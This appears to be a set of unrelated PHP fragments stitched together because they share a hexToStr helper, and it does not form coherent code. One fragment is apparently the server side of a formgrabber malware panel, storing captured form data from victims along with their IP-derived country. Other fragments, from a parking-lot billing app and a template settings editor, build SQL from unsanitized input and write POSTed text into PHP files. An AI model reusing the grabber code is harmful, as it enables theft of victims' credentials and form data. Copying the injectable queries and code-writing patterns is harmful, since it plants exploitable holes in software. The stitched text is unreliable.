//var_dump(strlen(decode(trim($original_key))));exit($original_key); $original_content = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, decode(trim($original_key)), base64_decode($getContent), MCRYPT_MODE_CBC, hexToStr($iv)); file_put_contents('test.content', $original_content); exit(decode($original_content));
function hexToStr($hex) { $string = ''; for ($i = 0; $i < strlen($hex) - 1; $i += 2) { $string .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $string; } if (isset($_POST['mode'])) { if ($_POST['mode'] == 1) { $content = hexToStr(dRead("content")); $sql = "SELECT `ID` FROM `lst_formgrabber` WHERE `content` = '" . $content . "';"; $res = mysql_query($sql); if (mysql_num_rows($res) < 1) { $site = hexToStr(dRead("site")); $host = hexToStr(dRead("host")); $Handle = fopen($File, 'a'); $Data = $content; $rpla = str_replace("%40", "@", $Data); $rpl = str_replace("%20", " ", $rpla); $rpl1 = str_replace("&", "<br />", $rpl); $dateTime = new DateTime("now", new DateTimeZone('Europe/Warsaw')); $date = $dateTime->format("Y-m-d"); //MYSQL DATABASE/// include 'config.php'; include "geoip.inc"; $gi = geoip_open("GeoIP.dat", GEOIP_STANDARD); $country = geoip_country_name_by_addr($gi, $_SERVER['REMOTE_ADDR']); geoip_close($gi); mysql_query("INSERT INTO graber (ip, contry, url, site, data, time)\r\nVALUES ('{$ip}', '{$country}', '{$host}{$site}', '{$host}', '{$rpl1}', '{$date}')"); mysql_close($connect);
public function removeRotatividade($objRotatividade) { $objConexao = new fla_conexao(); $SQL = sprintf('UPDATE fla_rotatividade SET hor_saida = "%s" , dat_saida = "%s" , val_total = "%s" , val_cobrado = "%s" , des_justificativa = "%s" , tem_permanencia = "%s" , des_situacao = "L" , cod_desconto = %s WHERE cod_cartao = %s AND des_placa = "%s" AND cod_rotatividade = %s ', $objRotatividade->get_hor_saida(), $objRotatividade->get_dat_saida(), $objRotatividade->get_val_total(), $objRotatividade->get_val_cobrado(), $objRotatividade->get_des_justificativa(), $objRotatividade->get_tem_permanencia(), $objRotatividade->get_cod_desconto(), $objRotatividade->get_cod_cartao(), $objRotatividade->get_des_placa(), base64_decode(hexToStr($objRotatividade->get_cod_rotativade()))); $rsRemoveRotatividade = $objConexao->prepare($SQL); $rsRemoveRotatividade->execute(); }
function Decrypt($sValue, $sSecretKey) { return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $sSecretKey, base64_decode(hexToStr($sValue)), MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND)), ""); }
$objRotatividade->set_val_total(str_replace(",", ".", $val_total)); $objRotatividade->set_val_cobrado(str_replace(",", ".", $val_cobrado)); $objRotatividade->set_des_justificativa($des_justificativa); $objRotatividade->set_tem_permanencia($tem_permanencia); $objRotatividade->removeRotatividade($objRotatividade); $objClientes->set_des_placa($des_placa); $arrCliente = $objClientes->buscaClientes($objClientes); $cod_cliente = $arrCliente[0]['cod_cliente']; $msgRetorno = 'Veiculo liberado com sucesso'; $msgRetorno .= '<br> Deseja imprimir RPS? <a href="' . $url . 'rotatividade/index.php?imprimir=' . base64_encode(strToHex('imprimeRPS')) . '&cod_rotatividade=' . $cod_rotatividade . '&cod_cliente=' . $cod_cliente . '">Sim</a>'; $val_total = ""; } } if (isset($_GET) && !empty($_GET['imprimir'])) { $cod_rotatividade = $_GET['cod_rotatividade']; $cod_rotatividade = base64_decode(hexToStr($cod_rotatividade)); $cod_cliente = $_GET['cod_cliente']; geraRPS($cod_rotatividade, 1, $cod_cliente); Header("Location:" . $url . "rotatividade/index.php"); } if (isset($_POST) && !empty($_POST['imprimirCupomEntrada']) && $verificaImprimir == true) { $imprime_cupom = true; } //$hora_entrada = date("H:i:s"); $hora_entrada = ""; $hora_saida = ""; $arrRotatividade = $objRotatividade->buscaCarrosEstacionados(); $arrMensalidadesAtrasadas = $objMensalidade->buscaMensalidadesAtrasadas(); $arrPlacas = $objPlacas->buscaClientes($objPlacas); ?> <html>
$_POST["tpl_block_cf_list_en"] = str_replace(hexToStr("c2a0"), "\t", $_POST["tpl_block_cf_list_en"]); WriteFile("setting/{$mid}_block_cf_list_en.tpl", $_POST["tpl_block_cf_list_en"], "wb"); $_POST["tpl_mail_cn"] = str_replace("  ", "\t", $_POST["tpl_mail_cn"]); $_POST["tpl_mail_cn"] = str_replace(hexToStr("c2a0"), "\t", $_POST["tpl_mail_cn"]); WriteFile("setting/{$mid}_mail_cn.tpl", $_POST["tpl_mail_cn"], "wb"); $_POST["tpl_mail_en"] = str_replace("  ", "\t", $_POST["tpl_mail_en"]); $_POST["tpl_mail_en"] = str_replace(hexToStr("c2a0"), "\t", $_POST["tpl_mail_en"]); WriteFile("setting/{$mid}_mail_en.tpl", $_POST["tpl_mail_en"], "wb"); $_POST["tpl_edit_data"] = str_replace("  ", "\t", $_POST["tpl_edit_data"]); $_POST["tpl_edit_data"] = str_replace(hexToStr("c2a0"), "\t", $_POST["tpl_edit_data"]); WriteFile("setting/{$mid}_edit_data.tpl", $_POST["tpl_edit_data"], "wb"); $_POST["tpl_list_data"] = str_replace("  ", "\t", $_POST["tpl_list_data"]); $_POST["tpl_list_data"] = str_replace(hexToStr("c2a0"), "\t", $_POST["tpl_list_data"]); WriteFile("setting/{$mid}_list_data.tpl", $_POST["tpl_list_data"], "wb"); $_POST["ext_script"] = str_replace("  ", "\t", $_POST["ext_script"]); $_POST["ext_script"] = str_replace(hexToStr("c2a0"), "\t", $_POST["ext_script"]); WriteFile("setting/{$mid}_ext_script.php", $_POST["ext_script"], "wb"); if (empty($_POST["itemlist"])) { include "setting/{$mid}.php"; $para = var_export($para, true); } else { $_POST["itemlist"] = chg_charset($_POST["itemlist"], $setting['gen']['charset'], "utf-8"); $json = json_decode($_POST["itemlist"]); $para = var_export($json, true); $para = str_replace("stdClass::__set_state(", "", $para); $para = str_replace("))", ")", $para); $para = chg_charset($para, "utf-8", $setting['gen']['charset']); } if (function_exists("ext_func")) { ext_func(); }